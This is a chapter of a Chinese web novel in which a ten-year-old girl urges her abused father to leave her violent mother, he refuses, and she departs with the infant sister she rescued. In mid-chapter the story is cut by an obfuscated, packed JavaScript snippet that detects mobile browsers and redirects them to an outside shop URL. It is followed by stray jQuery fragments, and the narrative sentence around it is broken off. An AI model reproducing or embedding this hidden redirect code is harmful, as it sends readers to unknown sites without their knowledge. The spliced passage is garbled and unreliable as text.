7. 父亲
    推开篱门,入眼是个狭小的场院。院子里晒着七八行野菜,旁边角落里还堆着没编完的藤器。院子东侧种着青菜,两只村牧嘉奖的鸡仔在菜地里走来走去,唧唧叫着,试图从土里翻出几只虫。

    阳七是在院子西边的角落里看见父亲的。他佝偻着身子,身前放着两只大木盆,盆里衣服堆得比阳七都高。阿父坐在一块大石头上,一边用棒槌捶打着揉了皂角的衣服,一边抬眼看着用草绳拴在篱笆上的十二妹。

    他今年不过三十多岁,看起来却和大屋里的村牧一样老。皮肤干皱着耸拉在骨头上,头发花白,肤色比院里的土地还要黑黄。

    阿母嫌弃他,每天打他比吃饭还勤快,更愿意把口粮献给村牧,让她得以到奴棚快活一宿。

    可父亲还是给她生了十三个孩儿,连村牧都羡慕她的好福气。

    于是村牧纳了三兄做小,生了对双生女娃,转手又将他卖给比自己还老的老妪。

    那年阿兄才十四岁,拖着刚生产的身子,背井离乡,不知生死。阿父也是在那年大病了一场。

    站在篱门边,阳七觉得阿父的白发又多了,白的比黑的还要多。她眼睛发胀,使劲揉了揉脸,挤出一个笑容。

    “阿父!”

    阳七叫唤了一声,看见吃力地挥着棒槌的男人愣了愣。他似乎以为自己听错了,不可置信地抬起头。

    “阿父,我回家了!”

    阳七撒开丫子将枯瘦的男人抱个满怀。男人实在太瘦了,瘦得成了一把骨头,连十岁的阳七都能环着肩将他整个搂在怀里。

    “回来就好,回来就好……”僵硬过后男人哽咽着拍着阳七的背,“以后可别再跑了,阿父还以为你回不来了。”

    皱了皱眉,阳七觉得大概是父亲怕自己真死在外面,被野兽吃掉才不叫她跑的。可她不跑,早就被打死了。

    “没事的阿父,小七长大了,有本事,能照顾自己的。”阳七得意洋洋地宣布,“我想好了,这次回村我就是要请村牧把我从家里分出去,自成一户。阿母和阿姐打我,不给我饭吃,我也不靠她们。我以后就住山里打猎过活,阿父你也和我一起,我再也不会让你被欺负的!”

    “小、小七!”一直温顺得如泥胎木偶的男人哆嗦了一下,突然疯了似的一把将阳七推开。“你说什么呢!这里是我的家,我怎么能离开家呢!”

    “可再在这个家里住下去你就要死了啊!”

    阳七被推了一把,险些坐到地上。她心里突然很委屈,又生气。从小到大父亲都没高声说话,怎么她要救他,他却反而骂她呢!

    “从我记事起,阿父即便头日生产,第二天也要下床干活,从没有一时得闲,即便这样还要日日遭打。家里偶尔余下谷物米粮,阿母宁愿给村牧换了去奴棚里耍,也不多给阿父一口粥喝。她、她还卖了三兄,饿死了四个孩子。她不是个好阿母,你干嘛还要跟着她!”

    苍老的父亲一脸茫然,他嗫嚅半天,怯怯地说:“女人不都是这样的吗?她是我妻主,男人离了妻主,可就活不下去啦……”

    “你还有我啊!”阳七眼圈一红,忍不住真掉眼泪了。“我长大了,我养你啊!”

    男人掀起眼皮,小心翼翼地瞅了阳七一眼,又很快垂下目光。

    他摇了摇头。

    “为什么啊!”

    阳七生生把自己气哭了,她就不明白,阿父怎么宁可在家里日日磋磨,挨打受饿,也不愿意和她出去闯一闯呢!

    离开这个污糟的家就这么难吗?!

    “小七,你也别走啦,在家里忍一忍……忍一忍就都过去啦。”老父抬起手,想拉阳七,阳七打了个哆嗦下意识避开了。他又怯怯缩回手,低着头闷声嘟囔。“忍一忍都过去啦。村里虽然穷,但只要节省些,日子还是过得下去的,可比在山上被野兽吃好多啦!从很久很久以前,我们祖祖辈辈,不都是这么过的吗?”

    阳七退后一步,又一步。她突然觉得,自己的村子,村里的人,或许活该祖祖辈辈,都只能跪在田地里向贵人祈求一口/活命粮。

    只要忍一忍,或许还是活得下去的。一忍就是一辈子,这辈子到死也就这么过去了。

    “阿父,小十三被扔了。并不是忍一忍就活得下去的。”

    男人闻言怔住了,半晌眼泪簌簌地落下来,就像迟来的雨。

    “是……是阿父没用,把她生得不好,胎里带病,你阿母说家里养不活的。”男人羞愧地缩着肩膀,似乎记起妻主打他的拳头。“你阿母没错,阿父错了。没把小十三生好,是阿父的错,你别怪你阿母,她也不想的。”

    “阿父!”

    阳七叫了一声,攥紧拳头。她看见她的父亲惊恐地看着她,看着她的拳头。他孱弱地,畏缩地蜷起身子,瑟瑟发着抖。一如每次挨母亲揍一样。

    阳七突然觉得兴味索然。

    她慢慢松开拳,站直了身体。她曾经一直觉得父亲是被迫的,是可怜的,她总有一天要救他,拼了命也要救他。

    她这一天,这一刻突然意识到,父亲并没什么可怜。

    他愿意,他愿意这样过活。

    他舍不得离开这个“家”,离开祖祖辈辈固有的“安稳生活”。她曾经天真的以为父亲是为了她,为了他们这些年幼的兄弟姐妹。直到今天才知道,父亲他,不过是为了自己罢了。

    “阿父,你别怕,我不是阿母,不会打你的。”阳七把手伸到父亲面前,让他看自己张开的手指。“我这双手,总要做些和阿母,和祖辈不一样的事情。我不想过忍一忍就过去的日子,所以,阿父,我要离开家了。”

    苍老的男人看着女儿尚且稚嫩的双手,除了农人长年干活生出的老茧,还有许多认不出的,细密的伤口。她的女儿年仅十岁,这双手经历的,就已经比村里人一辈子经历的多了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8559760|71498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “父亲,十三妹胎里带病,被扔在山里,不是你的错,是阿母的错。”阳七一字一句地说,“她让你挨饿,支使你干活,让你不停怀孕生产,打你骂你,自你跟了她从没停过。阿父,这不是你的错。”

    男人又开始哭起来,然而这次,阳七没有再哭了。

    她卸下背篓,从里面拎出洗得白白净净的婴孩。她把她抱在怀里,紧贴着胸口。婴儿扭动几下,找了舒服的位置,又睡熟了。

    “这就是我的十三妹。我把她从山里捡回来,就不会再让谁把她扔了的。”阳七紧紧搂着婴儿,感觉父亲的目光一动不动落在孩子身上,许久,轻微地颤了颤。

    “她以后跟我过,我一定会比阿母养得好。阿父,我和妹妹要离开家了,如果有一天你觉得,不靠阿母也能活下去,就来找我们姐妹俩吧。”

    坐在大石头上,满面沧桑的男人突然笑了。他点点头,花白的长发落下来一缕,垂在他不再年轻的脸庞上。

    “……好呀。阿父的小七,长大了。可以照顾妹妹了。”男人拿起盆里沉重的木槌,又开始一下一下,砰砰地捶打起衣服。“小十三长得可真好,比你们兄弟姐妹都白净,眉眼,也好看。长大肯定招小郎喜欢。小七,你能把妹妹抱回来给阿父看一眼,阿父真高兴!”

    阳七望着再也没有抬起头的父亲,心底泛起一股惶然。她张了张口想说点什么,但事到如今,却没什么可说的了。

    膝盖一弯,阳七扑通一声跪在男人面前,砰砰砰磕了三个响头。既然做了决定就再没有回头路可走,阳七背起竹篓,抱着十三,头也不回地朝着山脚下的大屋走去。

    逼仄的院子里依旧只有一个苍老的男人,挥舞着棒槌击打衣物。他脸上带着旧伤,牙齿被打掉了几颗,鼻梁也是弯折的,如同村子里每个被生活磋磨殆尽的老人。

    坐在地上玩泥巴的小十二咿呀一声,引起了男人注意。他偏过头,看了孩子一眼,微微笑起来。

    日头渐渐升高了,天气热得像下火,远处隐约传来村妇结伴回家躲荫凉的吵闹声。男人在身上抹了抹手,踉踉跄跄地站起身,低头钻进屋子,生火做饭。

    屋里就是茅草混着泥土垒成的一个敞间,一家人吃喝拉撒都在一起。他和妻主的床铺旁边挂着一幅草帘,隔壁就是孩子们的通铺。

    前些年老大成亲,也给她拉了一张。可惜女婿嫌家里挤,不常回家住,老大就又和弟妹睡回一起。

    他在这个茅草屋里生活了大半辈子,从十几岁跟了那个女人起,二十多年,生养了十三个儿女。没等落地就滑胎的孩子,他已经记不住了。

    他不知道外面有什么,也不想知道。

    他这辈子最大的愿望就是当个好丈夫,好父亲,给他的女人生儿育女,守着一个家。

    他是这么做的,他觉得自己做到了。

    这辈子,他觉得知足了。